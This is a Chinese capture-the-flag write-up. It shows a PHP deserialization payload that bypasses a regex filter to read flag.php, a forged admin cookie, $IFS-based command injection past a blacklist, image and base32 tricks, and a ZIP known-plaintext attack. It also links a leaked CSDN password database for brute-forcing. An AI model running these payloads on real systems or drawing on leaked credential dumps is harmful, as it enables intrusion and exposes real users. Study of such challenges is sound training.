WEB
easy
- 题目描述
<?php
@error_reporting(1); //会返回当前的错误报告级别
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file)) //检测变量是否已设置并且非 NULL
{
$filename = "./{$this->file}";
if (file_get_contents($filename)) //file_get_contents — 将整个文件读入一个字符串,返回文件内容或者在失败时返回 FALSE.
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches); //$matches填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
-
考点
- WEB序列化知识
- 基础正则绕过
- 序列化读文件
解题步骤
1.阅读源码,发现关键匹配函数
preg_match('/[oc]:\d+:/i',$data,$matches);
说明:[ 符号标记一个中括号表达式的开始,表达式的结尾处的不区分大小写 i 标记指定不区分大小写。
匹配规则:匹配了[oc]:
绕过匹配参考资料:https://blog.spoock.com/2016/11/03/php-wakeup/
所以只需要只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
但如果直接传值的话会,服务器接收到+号会被自动解码为空格,所以要对加号url编码:
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
访问:
即可得到flag:http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
- exp
<?php
class baby
{
public $file='./flag.php';
}
$a = new baby();
//echo serialize($a);
echo urlencode('O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}');
- 补充:
当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),在反序列化时,php就会调用__wakeup方法(如果存在的话),以此可以判断是否序列化成功
魔术方法__sleep(),__wakeup() - kacha886 - 博客园 https://www.cnblogs.com/kacha886/p/9115503.html
特别注意php7和php5的区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。
<?php
class baby
{
public $file='./flag.php';
function __wakeup(){
echo 'Hello';
}
}
$a = new baby();
$b=serialize($a);
$b='O:+4:"baby":1:{s:4:"file";s:10:"./flag.php";}';
unserialize($b);
WEB2
-
解题步骤
扫一下目录,发现了一个admin.php,但是进去却回显You are not admin...,同时访问发现cookie中存在user项,然后解码base64 ,发现是user ,于是构造admin的base64 编码
替换进入管理员页面:
进入后台,应该是个命令执行漏洞,但是过滤了很多符号:
发现通过命令cat<admin.php可以读取文件:
尝试读取源代码如下:
- admin.php
<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
die("You are not admin...");
}
if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
$retval = array();
exec($cmd, $retval, $status);
// var_dump($retval);
if ($status == 0) {
$res = implode("\n",$retval);
}else{
$res = 'error';
}
}else{
$res = '';
}
include './templates/admin.html';
- config.php
<?php
session_start();
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
解题关键是如何绕过这个黑名单去读到flag,这里过滤了;&>{}%#?!@+
还有空格都过滤了,但是$以及/都没被过滤,可以很好地执行命令,使用$IFS
绕过空格,然后可以使用ls$IFS/
查看上一级目录,最终cat$IFS/ffLAG_404
命令得到flag
知识点补充:
1.cookie和session :http://www.k0rz3n.com/2017/07/30/cookie/
2.bash命令执行常见绕过:https://www.jianshu.com/p/000a4ad1b933
MISC
签到题
-
解题步骤
按照提示回复关键词即可
JUJU
-
题目描述
- 解题步骤
- 题目中提到11只juju,但是实际只有7只
因此考虑图片显示不完全,16进制打开,修改长宽,02 38 改为04 38 显示完全
得到字符串MZWGCZ33GQZTQMTEM5SGMMTEPU======
,其中6等于号特征推测为base32(等于号在base编码中是补位的作用)
通过解码得到flag:a213072327f762855e475779eb081ca3
学习资料
- 解题步骤
- 附件有两个,且其中一个和压缩文件中同名
-
压缩文件存在密码,考虑明文攻击
- 压缩后crc32一致,可以进行明文攻击,使用AZPR进行破解,拿到压缩密码:
1qazmko098
4.解压打开word,发现没啥东西,但是想到题目描述学习资料下的真实的东西,可能在图片下;移除图片还是没东西,考虑word的字符串设置了隐藏,因此在word设置中,勾线显示隐藏字符串即可看到flag特别说明:有些没爆破出来可能是用ARCHPR4.5.4进行的爆破,该版本进行明文攻击会有问题,建议使用ARCHPR4.5.3 ,另外使用不同的压缩软件压缩备忘录.txt也会导致最后无法找到明文
也可以把docx的改后缀为zip,解压后在/word/document.xml里可见flag.
参考资料:CTF中压缩包解密的几种常见方式 - blus - CSDN博客 https://blog.csdn.net/q851579181q/article/details/84944900
ZIP明文攻击获得加密压缩包内文件_百度经验 https://jingyan.baidu.com/article/0f5fb0990bba086d8334eaf6.html
破解压缩包的几种方式(zip伪加密 爆破 CRC32碰撞 已知明文攻击) - 淚笑 - 博客园 https://www.cnblogs.com/leixiao-/p/9824557.html
变换的指纹
下载到社工库:ed2k://|file|www.csdn.net.sql|287238395|7C81CC2A2B57411BD107ACFF2BA8DDEE|/
提取密码进行爆破,正确密码是双引号中的内容:“!(()!@)6125dou ”,注意密码结尾有个空格。
通过图片获得字符串:
23685 28276158 52365 72716835687172857481317
23685528276158852365572716835687172857481317
因为提示8进制:
[23,70,55,30,27,61,60,105,23,65,57,27,16,103,56,107,17,30,57,50,13,17]
后面还差一步,未完待续